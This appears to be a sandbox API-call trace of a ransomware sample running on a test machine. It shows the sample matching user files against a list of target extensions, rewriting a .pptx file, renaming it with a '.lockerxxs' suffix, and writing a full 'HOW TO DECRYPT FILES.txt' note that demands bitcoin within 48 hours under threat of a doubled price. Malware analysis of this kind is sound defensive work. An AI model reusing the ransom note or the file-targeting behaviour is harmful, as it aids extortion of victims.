lpString2="Z5A40A.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" [0089.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.ems") returned 0 [0089.310] lstrlenA (lpString="*.ems") returned 5 [0089.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.db") returned 0 [0089.310] lstrlenA (lpString="*.db") returned 4 [0089.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.dbf") returned 0 [0089.310] lstrlenA (lpString="*.dbf") returned 5 [0089.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.myox") returned 0 [0089.310] lstrlenA (lpString="*.myox") returned 6 [0089.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.myo") returned 0 [0089.310] lstrlenA (lpString="*.myo") returned 5 [0089.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qbw") returned 0 [0089.310] lstrlenA (lpString="*.qbw") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qbb") returned 0 [0089.311] lstrlenA (lpString="*.qbb") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qbm") returned 0 [0089.311] lstrlenA (lpString="*.qbm") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qbo") returned 0 [0089.311] lstrlenA (lpString="*.qbo") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qbx") returned 0 [0089.311] lstrlenA (lpString="*.qbx") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qba") returned 0 [0089.311] lstrlenA (lpString="*.qba") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qby") returned 0 [0089.311] lstrlenA (lpString="*.qby") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qbj") returned 0 [0089.311] lstrlenA (lpString="*.qbj") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.ofx") returned 0 [0089.311] lstrlenA (lpString="*.ofx") returned 5 [0089.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.qif") returned 0 [0089.312] lstrlenA (lpString="*.qif") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.mye") returned 0 [0089.312] lstrlenA (lpString="*.mye") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.mbox") returned 0 [0089.312] lstrlenA (lpString="*.mbox") returned 6 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.eml") returned 0 [0089.312] lstrlenA (lpString="*.eml") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.pst") returned 0 [0089.312] lstrlenA (lpString="*.pst") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.ost") returned 0 [0089.312] lstrlenA (lpString="*.ost") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.idx") returned 0 [0089.312] lstrlenA (lpString="*.idx") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.dbx") returned 0 [0089.312] lstrlenA (lpString="*.dbx") returned 5 [0089.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.sql") returned 0 [0089.313] lstrlenA (lpString="*.sql") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.mdb") returned 0 [0089.313] lstrlenA (lpString="*.mdb") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.fdb") returned 0 [0089.313] lstrlenA (lpString="*.fdb") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.wab") returned 0 [0089.313] lstrlenA (lpString="*.wab") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.dat") returned 0 [0089.313] lstrlenA (lpString="*.dat") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.txt") returned 0 [0089.313] lstrlenA (lpString="*.txt") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.jpeg") returned 0 [0089.313] lstrlenA (lpString="*.jpeg") returned 6 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.jpg") returned 0 [0089.313] lstrlenA (lpString="*.jpg") returned 5 [0089.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.png") returned 0 [0089.313] lstrlenA (lpString="*.png") returned 5 [0089.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.php") returned 0 [0089.314] lstrlenA (lpString="*.php") returned 5 [0089.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.cs") returned 0 [0089.314] lstrlenA (lpString="*.cs") returned 4 [0089.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.cpp") returned 0 [0089.315] lstrlenA (lpString="*.cpp") returned 5 [0089.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.rar") returned 0 [0089.315] lstrlenA (lpString="*.rar") returned 5 [0089.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.zip") returned 0 [0089.316] lstrlenA (lpString="*.zip") returned 5 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.html") returned 0 [0089.316] lstrlenA (lpString="*.html") returned 6 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.htm") returned 0 [0089.316] lstrlenA (lpString="*.htm") returned 5 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.xlsx") returned 0 [0089.316] lstrlenA (lpString="*.xlsx") returned 6 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.xls") returned 0 [0089.316] lstrlenA (lpString="*.xls") returned 5 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.mp4") returned 0 [0089.316] lstrlenA (lpString="*.mp4") returned 5 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.ppt") returned 0 [0089.316] lstrlenA (lpString="*.ppt") returned 5 [0089.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", pszSpec="*.pptx") returned 1 [0089.316] lstrlenA (lpString="*.pptx") returned 6 [0089.316] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" [0089.316] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" [0089.316] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx." [0089.316] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx.lockerxxs" [0089.316] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\z5a40a.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0089.317] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x186ef [0089.317] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x730d4770, dwHighDateTime=0x1d5e7b3), lpLastAccessTime=0x407536*(dwLowDateTime=0xa16e3f0, dwHighDateTime=0x1d5dd42), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa16e3f0, dwHighDateTime=0x1d5dd42)) returned 1 [0089.317] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.317] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x186c9, lpOverlapped=0x0) returned 1 [0089.320] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx") returned="Z5A40A.pptx" [0089.321] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.321] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x186c9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x186c9, lpOverlapped=0x0) returned 1 [0089.322] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.322] CloseHandle (hObject=0x90) returned 1 [0089.322] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\z5a40a.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Z5A40A.pptx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\z5a40a.pptx.lockerxxs")) returned 1 [0089.325] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x730d4770, ftCreationTime.dwHighDateTime=0x1d5e7b3, ftLastAccessTime.dwLowDateTime=0xa16e3f0, ftLastAccessTime.dwHighDateTime=0x1d5dd42, ftLastWriteTime.dwLowDateTime=0xa16e3f0, ftLastWriteTime.dwHighDateTime=0x1d5dd42, nFileSizeHigh=0x0, nFileSizeLow=0x186ef, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName="Z5A40A.pptx", cAlternateFileName="Z5A40A~1.PPT")) returned 0 [0089.325] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0089.325] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b06f40, ftCreationTime.dwHighDateTime=0x1d5dc21, ftLastAccessTime.dwLowDateTime=0xc86b83f0, ftLastAccessTime.dwHighDateTime=0x1d5e081, ftLastWriteTime.dwLowDateTime=0xc86b83f0, ftLastWriteTime.dwHighDateTime=0x1d5e081, nFileSizeHigh=0x0, nFileSizeLow=0x1590e, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="9 BfkHQGeqPky.docx", cAlternateFileName="9BFKHQ~1.DOC")) returned 1 [0089.325] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.325] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9 BfkHQGeqPky.docx") returned 1 [0089.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9 BfkHQGeqPky.docx") returned 1 [0089.326] lstrcmpiA (lpString1="", lpString2="9 BfkHQGeqPky.docx") returned -1 [0089.326] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\*.*") returned="*.*" [0089.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" [0089.326] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\") returned="" [0089.326] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" [0089.326] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\how to decrypt files.txt")) returned 0xffffffff [0089.326] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.327] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.327] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.330] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.331] CloseHandle (hObject=0x8c) returned 1 [0089.331] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="9 BfkHQGeqPky.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx" [0089.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.ems") returned 0 [0089.331] lstrlenA (lpString="*.ems") returned 5 [0089.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.db") returned 0 [0089.331] lstrlenA (lpString="*.db") returned 4 [0089.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.dbf") returned 0 [0089.331] lstrlenA (lpString="*.dbf") returned 5 [0089.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.myox") returned 0 [0089.331] lstrlenA (lpString="*.myox") returned 6 [0089.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.myo") returned 0 [0089.331] lstrlenA (lpString="*.myo") returned 5 [0089.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qbw") returned 0 [0089.331] lstrlenA (lpString="*.qbw") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qbb") returned 0 [0089.332] lstrlenA (lpString="*.qbb") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qbm") returned 0 [0089.332] lstrlenA (lpString="*.qbm") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qbo") returned 0 [0089.332] lstrlenA (lpString="*.qbo") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qbx") returned 0 [0089.332] lstrlenA (lpString="*.qbx") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qba") returned 0 [0089.332] lstrlenA (lpString="*.qba") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qby") returned 0 [0089.332] lstrlenA (lpString="*.qby") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qbj") returned 0 [0089.332] lstrlenA (lpString="*.qbj") returned 5 [0089.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.ofx") returned 0 [0089.332] lstrlenA (lpString="*.ofx") returned 5 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.qif") returned 0 [0089.333] lstrlenA (lpString="*.qif") returned 5 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.mye") returned 0 [0089.333] lstrlenA (lpString="*.mye") returned 5 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.mbox") returned 0 [0089.333] lstrlenA (lpString="*.mbox") returned 6 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.eml") returned 0 [0089.333] lstrlenA (lpString="*.eml") returned 5 [0089.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\9 BfkHQGeqPky.docx", pszSpec="*.pst") returned 0 [0089.333] lstrlenA (lpString="*.pst") returned 5 